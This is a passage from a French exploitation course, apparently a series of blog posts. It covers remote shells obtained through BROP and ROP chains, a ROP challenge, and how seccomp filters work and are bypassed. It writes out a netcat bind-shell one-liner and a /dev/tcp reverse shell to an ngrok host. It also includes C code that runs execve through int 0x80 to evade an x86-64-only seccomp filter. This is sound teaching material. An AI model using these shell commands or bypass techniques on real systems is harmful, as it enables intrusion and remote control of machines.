chaîne de ROP finale en vue d’obtenir un terminal à distance. Et là, plusieurs cas peuvent se présenter : soit il est possible de directement contrôler stdin et stdout à distance ➡️ c’est le cas le plus simple, il n’y a rien de plus à faire pour pouvoir contrôler la saisie du terminal qui sera ouvert à distance ; soit le programme lit les données que l’on envoie depuis une socket qui n’est pas directement connectée à stdin et stdout ➡️ il va falloir faire ce “branchement” nous-mêmes.Nous supposerons que nous sommes dans le second cas afin de découvrir l’usage de la fonction dup2 qui est très utilisée pour avoir accès à stdin et stdout. Nous verrons également deux autres techniques très utilisées dans l’exploitation de programme à distance : 👂 Bind shell : programme (ou bout de code) qui écoute sur un port et attend que quelqu’un s’y connecte pour lui donner accès à un terminal. 📲 Reverse shell : programme (ou bout de code) qui se connecte à une adresse IP (et port) en lui donnant accès à un terminal.Les descripteurs de fichiersNous n’allons pas faire un cours de programmation réseau pour comprendre comment un programme traite des données provenant d’une connexion TCP. En revanche, il est utile de rappeler brièvement comment un programme lit et écrit des données via un descripteur de fichier.Pour faire simple, un descripteur de fichier (ou fd pour file descriptor) est un nombre qui identifie un fichier ouvert dans le processus. Pour rappel, tout est fichier dans Linux, même les connexions réseau (ou sockets). Cela permet d’avoir une vue “haut niveau” d’un fichier en user land.Les trois premiers sont généralement réservés aux flux standards suivants : Descripteur Flux standard 0 stdin 1 stdout 2 stderr A chaque fois qu’un fichier sera ouvert la valeur du prochain descripteur sera incrémentée de 1. Ainsi le fd de notre socket peut valoir 3, 4 ou 5 etc. En somme, le dernier descripteur de fichier non utilisé sera retourné.Utiliser dup2dup2 est une fonction de la libc (et également un appel système) qui permet de dupliquer un descripteur de fichier. D’après son manuel, cette fonction prend deux arguments dup2(int oldfd, int newfd) : oldfd ➡️ ancien descripteur de fichier qui sera désormais référé par newfd. oldfd doit être un descripteur de fichier valide ; newfd ➡️ le nouveau descripteur de fichier qui se réfère désormais à oldfd. Si ce descripteur de fichier correspond à un fichier actuellement ouvert, ce dernier est fermé. Les termes oldfd et newfd peuvent prêter à confusion …Je sais que vous vous posez la quess un programme dont on ntion : oui c’est du charabia et on comprend absolument pas qui se réfère à quoi, à partir de quand.Prenons un cas concret pour comprendre : imaginons que notre socket ait pour descripteur de fichier la valeur N. En exécutant :dup2(N,0); // socket &lt;-&gt; stdindup2(N,1); // socket &lt;-&gt; stdoutTout ce qui est écrit ou lu dans stdin et stdout sera à présent écrit ou lu dans notre socket. Ces deux lignes peuvent être interprétées ainsi : tout ce qui sera lu ou écrit depuis le fd == 0, tu le liras/écriras en réalité depuis fd == N ; tout ce qui sera lu ou écrit depuis le fd == 1, tu le liras/écriras en réalité depuis fd == N ;Etant donné que le terminal distant lit et écrit depuis stdin et stdout, après l’appel à dup2, il lira et écrira les données via notre socket. C’est justement ce que l’on souhaite faire !Voici l’état des descripteurs de fichiers une fois le terminal distant ouvert avant l’exécution de deux appels à dup2:Après les deux appels à dup2 :En gros, on branche stdin et stdout à notre socket. Tout simplement. Et on la trouve comment la valeur fd de notre socket ?En tâtonnant 🙃. On teste à partir du premier descripteur non réservé (3) et on vérifie l’hypothèse ; si c’est le bon, on peut alors lire et écrire sur le terminal distant. S’il y a assez de place lors du dépassement de mémoire, il est également possible d’appeler dup2(N, stderr).En ayant dupliqué les descripteurs de fichiers standards vers celui de notre connexion, nous pourrons directement interagir avec le terminal /bin/sh que nous ouvrirons lors de l’exploitation du programme à distance.Utiliser un bind shellS’il n’est pas possible d’utiliser dup2, ou que vous avez la flemme de le faire, il est possible d’ouvrir un shell à distance qui restera à l’écoute sur un port donné avec la commande suivante (source) avec system ou execve par exemple :rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2&gt;&amp;1|nc -lp 4444 &gt;/tmp/f Ici le port utilisé est 4444 mais il est évidemment possible de le changer.Ensuite depuis votre machine :nc adresse_distante portEt vous aurez accès au terminal sans avoir à bidouiller les descripteurs de fichiers. Les deux seuls inconvénients de cette technique sont : netcat doit être installé sur la machine distante ; la commande à exécuter est assez longue et risque de consommer pas mal de place dans la chaîne de ROP.Utiliser un reverse shell Et si netcat n’est pas installé à distance ?Eh bien on utilise un reverse shell ! Contrairement au bind shell où nous nous connectons à la machine exploitée, le reverse shell fait en sorte que le programme se connecte à notre machine.Dans le cas où vous disposez d’une machine, raspberry pi ou autre dont vous pouvez ouvrir un port (ex : 1337), cette technique sera plus simple à mettre en place. En ouvrant un port dans votre réseau local via votre box, vous le rendez vulnérable.Autrement, si vous ne souhaitez pas ouvrir de port dans votre réseau local ou que vous n’avez pas de machine où vous pouvez le faire, il est possible d’utiliser ngrok.ngrok est un outil qui permet de réaliser des tunnels réseau vers sa machine sans avoir à ouvrir de port, configurer un routeur etc.En lançant ngrok tcp 1337 vous aurez une sortie qui devrait ressembler à :tcp://6.tcp.eu.ngrok.io:XXXXX -&gt; localhost:1337Notez bien le port XXXXX affiché, nous en aurons besoin pour la suite. Ensuite, avant d’envoyer l’exploit final, exécutez nc -lvnp 1337 dans un onglet du terminal afin que votre machine soit en écoute sur le port 1337.Enfin, faites en sorte de lancer via la chaîne de ROP, au lieu de execve(\"/bin/sh\",...) :execve(\"/bin/bash\",{\"/bin/bash\",\"-c\",\"/bin/bash -i &gt;&amp; /dev/tcp/6.tcp.eu.ngrok.io/XXXXX 0&gt;&amp;1\",NULL},NULL)Ainsi, lorsque la machine distante exécutera cette commande, elle se connectera à ngrok qui transfèrera la connexion vers notre port 1337, et nous aurons accès au shell !🏁 Chaîne de ROP finaleLa chaîne de ROP va dépendre de la manière dont on souhaite ouvrir le terminal.1️⃣ En dupliquant les descripteurs de fichiers avec dup2 :dup2(N,0);dup2(N,1);system(\"/bin/sh\");2️⃣ En utilisant un bind shell :system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2&gt;&amp;1|nc -lp 4444 &gt;/tmp/f\");3️⃣ En utilisant un reverse shell :system(\"/bin/bash -i &gt;&amp; /dev/tcp/6.tcp.eu.ngrok.io/XXXXX 0&gt;&amp;1\"); Si system supprime certains privilèges dont vous avez besoin pour exploiter pleinement le programme, il sera possible de remplacer l’appel à system par : execve(\"/bin/sh\", {\"/bin/sh\", \"-p\" , \"-c\",..., NULL}, NULL).Et voilà ! Si la chaîne de ROP s’exécute sans soucis, vous devriez avoir accès à un terminal à distance 😎.Et en 32 bits alors ?Exploiter un programme avec du BROP 32 bits est plus facile, dans le cas où la libc est accessible. Etant donné que les arguments sont passés directement via la pile, on s’embête moins avec des gadgets à chercher.En revanche, dans le cas où il n’y a pas de libc ou qu’il est compliqué d’y accéder dans le cadre de l’exploitation, il est possible d’envisager une résolution via des appels système. Auquel cas, il faudra trouver des gadgets pour remplir les principaux registres utilisés pour les appels système.Autrement, la méthodologie d’exploitation est la même.✍️ Passer à la pratiqueVous trouverez, parmi les différents challenges de pwn du site Hackropole, un challenge à résoudre avec du BROP : Blind Date.📋 SynthèseBon, c’était long mais on a pu comprendre comment le BROP peut être mis en place. N’hésitez pas à adapter cette méthodologie en fonction du programme à exploiter.Très souvent, on perd du temps car on se base sur des hypothèses qui se révèlent être fausses, par exemple : le programme est PIE, alors qu’en fait il ne l’est pas ; juste derrière le canari se trouvent ebp (sauvegardé) et l’adresse de retour, alors qu’il y a peut-être d’autres registres sauvegardés ; on a trouvé le stop gadget, alors qu’en fait il s’agit d’un faux positif.En pratique, il faut prévoir une marge d’erreur pour éviter de rester bloqué sur des hypothèses incorrectes.Nous avons pu apprendre, à travers le BROP, comment utiliser DynELF pour faire fuiter les adresses de fonctions intéressantes de la libc sans avoir à se préoccuper de la faire fuiter entièrement.Également, nous avons vu plusieurs méthodes qui permettent de prendre le contrôle, à distance, d’un terminal via : la duplication des descripteurs de fichier ; un bind shell, auquel on se connecte ; un reverse shell, qui se connecte à nous." }, { "title": "Partie 25 - 🏆 Challenge - exploitation avancée par ROP (6/6)", "url": "/posts/introduction_au_pwn_partie_25/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-14 08:00:00 -0200", "snippet": "🏆 Challenge : exploitation avancée par ROP (6/6)En parcourant ce fameux « réseau social professionnel », nous sommes tombés sur un programme développé par ce que l’on appelle un « vibe codeur ». Il...", "content": "🏆 Challenge : exploitation avancée par ROP (6/6)En parcourant ce fameux « réseau social professionnel », nous sommes tombés sur un programme développé par ce que l’on appelle un « vibe codeur ». Il affirme que son outil de cryptage de données (sic) est d’une robustesse à toute épreuve.Et si on lui démontrait le contraire ? 🎯 Objectif : réussir à afficher le contenu de flag.txt.⤵️ Téléchargement du challengeL’archive du challenge est disponible ici : ⬇️ Téléchargement : pwn-rop-chall.zip 🔎 SHA256 &amp; Analyse Virus Total : d02c1d2522d0189880e26eafc40a09279316e4671b068b6e5b4c296a78edef79 Si vous avez des difficultés à mettre en place le challenge, n’hésitez pas à jeter un œil à la page annexe concernant la résolution des challenges.💻 Contexte d’exécutionLe contexte d’exécution est le suivant : activer l’ASLR ; atteindre l’objectif en dehors d’un débogueur ; atteindre l’objectif à distance via le port 12345 ; la version de la glibc utilisée n’est pas importante.💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t pwn-rop-chall .; lancement du conteneur et du challenge :docker run --rm \\ -p 12345:12345 \\ -p 1234:1234 \\ --cap-add=SYS_PTRACE \\ --security-opt seccomp=unconfined \\ pwn-rop-challLes ports accessibles sont les suivants : 12345 : port du programme à exploiter à distance ; 1234 : port qu’il est possible d’utiliser pour déboguer à distance avec gdbserver.🤓 Quelques conseils Le challenge peut être résolu en suivant plusieurs étapes petit à petit ; la résolution peut paraître longue mais chaque étape intermédiaire n’est pas très compliquée ; ne négligez pas la phase de recherche de vulnérabilités ; ne croyez pas tout ce que vous voyez 🤭 ; ce n’est pas un challenge destiné à exploiter le tas.💡 IndicesSi vous avez été attentifs lors de ce cours jusqu’à présent, vous devriez disposer de tout le bagage théorique pour parvenir à exploiter le programme 😎. Désormais, “il n’y a plus qu’à”." }, { "title": "Partie 26 - Seccomp - fonctionnement (1/2)", "url": "/posts/introduction_au_pwn_partie_26/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-13 08:00:00 -0200", "snippet": "Seccomp : fonctionnement (1/2)Avoir la possibilité d’exécuter un shellcode dans un programme exploité permet d’avoir accès à un très grand nombre d’actions possibles : ouvrir un terminal ; gérer ...", "content": "Seccomp : fonctionnement (1/2)Avoir la possibilité d’exécuter un shellcode dans un programme exploité permet d’avoir accès à un très grand nombre d’actions possibles : ouvrir un terminal ; gérer des connexions réseau ; ouvrir, lire et écrire des fichiers ; et bien plus encore.Une idée qui peut rapidement venir à l’esprit est la suivante : mon programme “Hello world” ne fait qu’afficher une chaîne de caractères. Pourquoi ne pas restreindre les appels système autorisés à read et write uniquement ?Eh bien c’est justement ce que permet de faire seccomp !Qu’est-ce que seccomp ?seccomp signifie SECCure COMPuting (informatique sécurisée 🥖). Il s’agit d’un mécanisme disponible sous Linux qui permet de filtrer les appels système accessibles depuis une application.Il y a principalement trois manières de le mettre en place : bloquer certains appels système (liste noire) ; autoriser certains appels système (liste blanche) ; filtrer certains appels système en fonction de leurs arguments.seccomp est une fonctionnalité assez ancienne mais qui reste utilisée dans des applications qui nécessitent une sécurité accrue : Chromium ; Docker; et plein d’autres. Contrairement à ce que l’on pourrait penser, seccomp n’est pas un mécanisme de cloisonnement (sandboxing) à part entière. Il se limite à restreindre les appels système qu’un programme est autorisé à invoquer, en appliquant un filtrage au niveau du noyau, sans fournir à lui seul d’isolation complète de l’environnement d’exécution.Comment cela fonctionne ?🔒 Le mode strict (SECCOMP_SET_MODE_STRICT)Initialement seccomp limitait les appels système que peut exécuter un programme aux quatre suivants : read ; write; exit ; sigreturn.Si le programme exécute un autre appel système que ceux-là, le signal SIGKILL sera envoyé au programme. Ah ouais c’est la hess 😆 !Eh oui … Le programme ouvre un fichier ? ⛔. Le programme utilise des sockets réseau ? ⛔. Ainsi, à part un programme bateau type “Hello World”, on ne peut pas faire grand chose 😕. Seccompliqué cette histoire …📝 Le mode filtrage (SECCOMP_SET_MODE_FILTER)Bon je vous rassure, le précédent mode n’est (quasiment ?) plus utilisé. A la place on utilise plutôt le mode filtrage qui permet bien plus de flexibilité.Ce mode permet de définir des règles précises indiquant quels appels système sont autorisés, refusés ou bloqués, ce qui rend seccomp plus adapté aux besoins d’une application.Pour écrire une liste de règles nous utilisons des BPF ou Filtre de Paquets de Berkeley. Et … le rapport avec Berkeley ?Le nom Berkeley Packet Filter (BPF) tire son nom de l’Université de Californie à Berkeley, où il a été développé à la fin des années 1980. À l’origine, il a été conçu par des chercheurs de Berkeley pour filtrer efficacement les paquets réseau sans avoir à les copier inutilement entre le noyau et l’espace utilisateur. Le terme Berkeley fait donc référence au lieu de conception du projet, et non à une technologie réseau en particulier 🤖.De toute façon, la manière dont ces filtres sont mis en place ne nous intéresse pas particulièrement, puisque nous ne sommes pas dans un cours de développement sécurisé. En revanche, ce qui nous importe réellement est de savoir comment déterminer, lors de l’analyse d’un programme, si l’exécution de tel ou tel appel système est autorisée ou non.📝 Les règles de filtragePour ce faire, nous allons utiliser l’outil seccomp-tools qui permet notamment d’extraire les règles de filtrage BPF mises en place dans un programme en l’exécutant via l’option dump.Si vous manipulez les programmes de ce chapitre via le conteneur Docker, l’outil seccomp-tools y est déjà installé. Si vous ne souhaitez pas exécuter le programme dont les règles de filtrage sont à extraire, il est possible d’utiliser l’option disasm. Néanmoins, il faudra extraire en amont le filtre BPF brut du programme.Exemple de testPrenons un exemple concret pour comprendre comment lire ces filtres. Voici le programme que nous utiliserons dans cet exemple :#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;#include &lt;errno.h&gt;#include &lt;linux/seccomp.h&gt;#include &lt;linux/filter.h&gt;#include &lt;linux/audit.h&gt;#include &lt;sys/prctl.h&gt;#include &lt;sys/syscall.h&gt;#include &lt;stddef.h&gt;/* Macros utilitaires simples */#define SC_ALLOW(syscall) \\ BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, syscall, 0, 1), \\ BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW)#define SC_KILL \\ BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)int install_seccomp(void){ struct sock_filter filter[] = { /* Chargement du numero de l’appel systeme */ BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), /* Appels systeme autorises */ SC_ALLOW(__NR_read), SC_ALLOW(__NR_write), SC_ALLOW(__NR_open), /* Gestion de la memoire (maximum 3) */ SC_ALLOW(__NR_brk), SC_ALLOW(__NR_mmap), SC_ALLOW(__NR_munmap), /* Tout le reste est interdit */ SC_KILL, }; struct sock_fprog prog = { .len = sizeof(filter) / sizeof(filter[0]), .filter = filter, }; /* Obligatoire pour installer un filtre seccomp */ if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { perror(\"prctl(NO_NEW_PRIVS)\"); return -1; } if (syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, 0, &amp;prog)) { perror(\"seccomp\"); return -1; } return 0;}int main(void) { printf(\"[+] Installation du filtre seccomp\\n\"); if (install_seccomp() &lt; 0) { fprintf(stderr, \"[-] Echec de l’installation de seccomp\\n\"); exit(1); } printf(\"[+] Seccomp installe\\n\"); printf(\"[+] Tentative d’execution de execve(\\\"/bin/sh\\\")...\\n\"); char *argv[] = {\"/bin/sh\", NULL}; char *envp[] = {NULL}; execve(\"/bin/sh\", argv, envp); /* Cette ligne ne sera JAMAIS atteinte */ perror(\"execve\"); return 0;}Il n’est pas nécessaire de s’intéresser à la fonction install_seccomp. Ce programme implémente un filtre BPF grâce à seccomp via syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, 0, &amp;prog).Normalement les commentaires ont dû vous aider à comprendre ce que fait le programme : autoriser seulement 6 appels système ; tous les autres appels système sont interdits.Accès au conteneur Docker : ⬇️ Téléchargement : pwn-seccomp-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 915fbaa0269f75f63d62428e3329f36a1c150d334bf16aaaca4de1e292ae20a7 ⚙️ Construction et lancement du conteneur :docker build -t pwn-seccomp-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-seccomp-exemple-1Compilons le programme avec gcc main.c -o exe et exécutons-le :$ ./exe[+] Installation du filtre seccomp[+] Seccomp installe[+] Tentative d’execution de execve(\"/bin/sh\")...[1] 52597 invalid system call (core dumped) ./exeOn pouvait s’y attendre : execve n’est pas exécuté. Le code de retour est le suivant :echo $?159Or 159 == 128 + 31 où 31 est le signum de SIGSYS: Bad system call. Bah là c’est trivial de comprendre le filtre pourquoi a-t-on besoin d’utiliser un outil tel que seccomp-tools alors ?Ici nous avons accès au code source. Avez-vous jeté un œil à ce que donne la décompilation de install_seccomp 🤯 ?__int64 __fastcall install_seccomp(){ __int64 v7; // [rsp+0h] [rbp-90h] BYREF // (...) unsigned __int64 v64; // [rsp+88h] [rbp-8h] v64 = __readfsqword(0x28u); v8 = 32; v9 = 0; v10 = 0; v11 = 0; v12 = 21; v13 = 0; v14 = 1; v15 = 0; v16 = 6; v17 = 0; v18 = 0; v19 = 0x7FFF0000; v20 = 21; v21 = 0; v22 = 1; v23 = 1; v24 = 6; v25 = 0; v26 = 0; v27 = 0x7FFF0000; v28 = 21; v29 = 0; v30 = 1; v31 = 2; v32 = 6; v33 = 0; v34 = 0; v35 = 0x7FFF0000; v36 = 21; v37 = 0; v38 = 1; v39 = 12; v40 = 6; v41 = 0; v42 = 0; v43 = 0x7FFF0000; v44 = 21; v45 = 0; v46 = 1; v47 = 9; v48 = 6; v49 = 0; v50 = 0; v51 = 0x7FFF0000; v52 = 21; v53 = 0; v54 = 1; v55 = 11; v56 = 6; v57 = 0; v58 = 0; v59 = 0x7FFF0000; v60 = 6; v61 = 0; v62 = 0; v63 = 0x80000000; LOWORD(v7) = 14; if ( prctl(38, 1, 0, 0, 0, a6, v7, &amp;v8) ) { perror(\"prctl(NO_NEW_PRIVS)\"); return 0xFFFFFFFFLL; } else if ( syscall(317, 1, 0, &amp;v7) ) { perror(\"seccomp\"); return 0xFFFFFFFFLL; } else { return 0; }}Je pense que l’on sera d’accord sur le fait qu’un outil permettant de les extraire automatiquement ne serait pas de refus 😉. prctl(PR_SET_NO_NEW_PRIVS, (...)) doit toujours être appelé avant d’appliquer le filtre seccomp. L’une des autres conséquence importante de PR_SET_NO_NEW_PRIVS est que le processus courant (et ses potentiels processus fils) ne pourront pas gagner plus de privilèges qui en avaient au moment de l’appel de prctl(PR_SET_NO_NEW_PRIVS, (...)). Cela signifie notamment que les bits SUID et SGID seront ignorés. RIP 🙃.Utilisons la commande seccomp-tools dump ./exe pour extraire le filtrage mis en place :$ seccomp-tools dump ./exe[+] Installation du filtre seccomp line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0005 0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x80000000 return KILL_PROCESSNous remarquons tout d’abord la présence de la chaîne de caractères [+] Installation du filtre seccomp mais pas celle des autres. On en déduit que : le programme est réellement exécuté et les règles de filtrage ne sont pas extraites statiquement ; le programme n’est pas exécuté dans son entièreté. Son exécution est arrêtée au moment du syscall qui fait appel à seccomp.Ensuite, pour comprendre le filtre mis en place il suffit de lire linéairement la partie à droite de haut en bas où A est le potentiel appel système à exécuter.Lorsque l’appel système a le droit d’être exécuté, ALLOW est retourné. Lorsqu’il n’a pas le droit d’être exécuté, KILL_PROCESS est retourné. Oui mais là c’est facile, c’est un exemple bateau 😴 …Très bien. Analysons donc le cas d’un programme un peu plus connu.Exemple réel : chromiumNous avons vu un peu plus haut que chromium utilise seccomp afin de renforcer sa sécurité. Nous devrions donc pouvoir en extraire le filtre seccomp, nan ? Tout d’abord installons-le. Pour les distributions basées sur Ubuntu/Debian cela peut se faire avec sudo apt install chromium-browser.Ensuite, lançons le en arrière-plan sans utiliser la partie graphique :chromium --headless --disable-gpu &amp;[1] 52665Utilisons seccomp-tools avec le PID de chromium :seccomp-tools dump --pid 52665Vous devriez normalement tomber sur une erreur de ce type :[ERROR] Operation not permitted - ptrace attach failed PTRACE_SECCOMP_GET_FILTER requires CAP_SYS_ADMIN Try: sudo env \"PATH=$PATH\" seccomp-tools dump --pid 52665Bon. Essayons avec la commande via sudo :$ sudo env \"PATH=$PATH\" seccomp-tools dump --pid 52665 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A &lt; 0x40000000) goto 0005 0004: 0x15 0x00 0x1d 0xffffffff if (A != 0xffffffff) goto 0034 0005: 0x15 0x00 0x03 0x00000125 if (A != pipe2) goto 0009 0006: 0x20 0x00 0x00 0x0000001c A = flags &gt;&gt; 32 # pipe2(fildes, flags) 0007: 0x54 0x00 0x00 0x00000000 A &amp;= 0x0 0008: 0x15 0x0e 0x17 0x00000000 if (A == 0) goto 0023 else goto 0032 0009: 0x15 0x00 0x16 0x00000010 if (A != ioctl) goto 0032 0010: 0x20 0x00 0x00 0x0000001c A = cmd &gt;&gt; 32 # ioctl(fd, cmd, arg) 0011: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0015 0012: 0x20 0x00 0x00 0x00000018 A = cmd # ioctl(fd, cmd, arg) 0013: 0x15 0x13 0x00 0x0000541c if (A == 0x541c) goto 0033 0014: 0x15 0x12 0x00 0x00005412 if (A == 0x5412) goto 0033 0015: 0x20 0x00 0x00 0x0000001c A = cmd &gt;&gt; 32 # ioctl(fd, cmd, arg) 0016: 0x54 0x00 0x00 0x00000000 A &amp;= 0x0 0017: 0x15 0x00 0x0e 0x00000000 if (A != 0) goto 0032 0018: 0x20 0x00 0x00 0x00000018 A = cmd # ioctl(fd, cmd, arg) 0019: 0x15 0x0d 0x0b 0x0000541c if (A == 0x541c) goto 0033 else goto 0031 0020: 0x15 0x00 0x0d 0x40000003 if (A != ARCH_I386) goto 0034 0021: 0x20 0x00 0x00 0x00000000 A = sys_number 0022: 0x15 0x00 0x03 0x0000014b if (A != i386.pipe2) goto 0026 0023: 0x20 0x00 0x00 0x00000018 A = args[1] 0024: 0x54 0x00 0x00 0x00000080 A &amp;= 0x80 0025: 0x15 0x07 0x06 0x00000080 if (A == 128) goto 0033 else goto 0032 0026: 0x15 0x00 0x05 0x00000036 if (A != i386.ioctl) goto 0032 0027: 0x20 0x00 0x00 0x00000018 A = level # setsockopt(fd, level, optname, optval, optlen) 0028: 0x15 0x04 0x00 0x0000541c if (A == 0x541c) goto 0033 0029: 0x15 0x03 0x00 0x0000541c if (A == 0x541c) goto 0033 0030: 0x15 0x02 0x00 0x00005412 if (A == 0x5412) goto 0033 0031: 0x15 0x01 0x00 0x00005412 if (A == 0x5412) goto 0033 0032: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0033: 0x06 0x00 0x00 0x0005000d return ERRNO(13) 0034: 0x06 0x00 0x00 0x00000000 return KILLEt voilà 😎 ! Nous n’allons pas décortiquer le filtre utilisé par chromium néanmoins nous y reviendrons dans le prochain chapitre afin d’analyser les erreurs d’implémentation qui peuvent être présentes dans un filtre seccomp.📋 SynthèseCe qui est pas mal quand on s’intéresse à seccomp du point de vue d’un attaquant, c’est que l’on a pas nécessairement besoin de comprendre comment l’implémenter en détails.En revanche, ce qui nous intéresse est de savoir comment comprendre et lire le filtre seccomp et ce que cela implique en termes de protection dans un programme. Ça tombe bien ! Voyons désormais comment tirer profit des vulnérabilités présentes dans un filtre seccomp." }, { "title": "Partie 27 - Seccomp - exploitation et stratégies de contournement (2/2)", "url": "/posts/introduction_au_pwn_partie_27/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-12 08:00:00 -0200", "snippet": "Seccomp : exploitation et stratégies de contournement (2/2)A présent que les choses sont plus claires à propos du fonctionnement du filtrage seccomp, il est temps de voir comment exploiter des prog...", "content": "Seccomp : exploitation et stratégies de contournement (2/2)A présent que les choses sont plus claires à propos du fonctionnement du filtrage seccomp, il est temps de voir comment exploiter des programmes qui l’utilisent. Au cours de ce chapitre, il ne sera pas nécessaire de comprendre comment est mis en place le filtre BPF depuis le code source du programme étant donné que l’on tentera de l’extraire systématiquement avec seccomp-tools. Et puis en temps normal nous n’avons que très rarement accès au code source 🙃.⚠️ Erreur n°1 : ne pas filtrer de manière exhaustiveErreur de débutant mais qui peut arriver … Par exemple, le programme à exploiter bloque l’utilisation de execve, mais pas celui de l’appel système execveat ? Même chose avec open et openat. Au passage, si le chemin spécifié comme argument à execveat/openat est un chemin absolu, alors le premier argument dirfd n’est pas utilisé et cela revient quasiment à appeler execve/open.💻 Comment exploiter une telle vulnérabilité ?De manière générale, il faut toujours se poser la question suivante : si une action m’est interdite via un appel système donné, est-il possible d’atteindre le même résultat en utilisant un autre appel système, ou en combinant plusieurs appels système autorisés ?Voici une petite liste, non exhaustive, de quelques appels système qui peuvent être utiles lors de l’exploitation s’ils ne sont pas filtrés : mprotect, mmap … ; fork, clone … ; ptrace ; rt_sigreturn.Ces fonctions permettent généralement d’avoir plus de marge de manœuvre pour exploiter un programme.⚠️ Erreur n°2 : ne pas vérifier l’architecture utiliséeDans le filtre utilisé par chromium que l’on avait extrait lors du précédent chapitre, nous pouvons lire les lignes suivantes : line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x00000000 A = sys_number (...) 0005: 0x15 0x00 0x03 0x00000125 if (A != pipe2) goto 0009 (...) 0020: 0x15 0x00 0x0d 0x40000003 if (A != ARCH_I386) goto 0034 0021: 0x20 0x00 0x00 0x00000000 A = sys_number 0022: 0x15 0x00 0x03 0x0000014b if (A != i386.pipe2) goto 0026 (...) 0034: 0x06 0x00 0x00 0x00000000 return KILLNous remarquons qu’il y a deux blocs qui semblent faire la même chose : contrôler l’exécution de l’appel système pipe2. Mais pourquoi faire deux fois la même vérification ?En fait ce n’est pas exactement la même vérification. La première vérification est réalisée lorsque l’architecture de l’appel système (déclenché via syscall) est x64 tandis que la seconde est réalisée lorsque l’architecture de l’appel système (déclenché via int 0x80) est x86. D’ailleurs, la documentation officielle du noyau Linux met explicitement en garde contre l’absence de vérification de l’architecture, celle-ci étant une source classique de contournement des filtres seccomp.Bah oui ! En ayant la possibilité d’exécuter un shellcode (ou en faisant du ROP) de manière arbitraire, des petits malins pourraient être tentés d’exécuter l’appel système pipe2 en utilisant int 0x80, ce qui fonctionne même dans les programmes 64 bits 🤓.💻 Comment exploiter une telle vulnérabilité ?Notre ami Cheikh GPT nous a fait l’honneur d’écrire ce programme pour illustrer l’exploitation de ce type d’erreur :#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;unistd.h&gt;#include &lt;string.h&gt;#include &lt;sys/mman.h&gt;#include &lt;stddef.h&gt;#include &lt;linux/seccomp.h&gt;#include &lt;linux/filter.h&gt;#include &lt;linux/audit.h&gt;#include &lt;sys/prctl.h&gt;#include &lt;sys/syscall.h&gt;static void install_seccomp(void){ struct sock_filter filter[] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = sizeof(filter) / sizeof(filter[0]), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); syscall(SYS_seccomp, SECCOMP_SET_MODE_FILTER, 0, &amp;prog);}static void *low_alloc(size_t sz){ void *p = mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT, -1, 0); if (p == MAP_FAILED) { perror(\"mmap\"); exit(1); } return p;}int main(void){ setbuf(stdout, NULL); puts(\"[+] Installation du filtre seccomp (execve x86-64 interdit)\"); install_seccomp(); puts(\"[+] Filtre installe\"); puts(\"[+] execve via int 0x80 (ABI i386 depuis ELF64)\"); // --------------- Partie Exploitation --------------- /* allocation basse (32 bits) */ char *path = low_alloc(32); strcpy(path, \"/usr/bin/id\"); char **argv = low_alloc(2 * sizeof(char *)); argv[0] = path; argv[1] = NULL; char **envp = low_alloc(sizeof(char *)); envp[0] = NULL; asm volatile ( \"movl $11, %%eax\\n\" /* __NR_execve i386 */ \"movl %k0, %%ebx\\n\" \"movl %k1, %%ecx\\n\" \"movl %k2, %%edx\\n\" \"int $0x80\\n\" : : 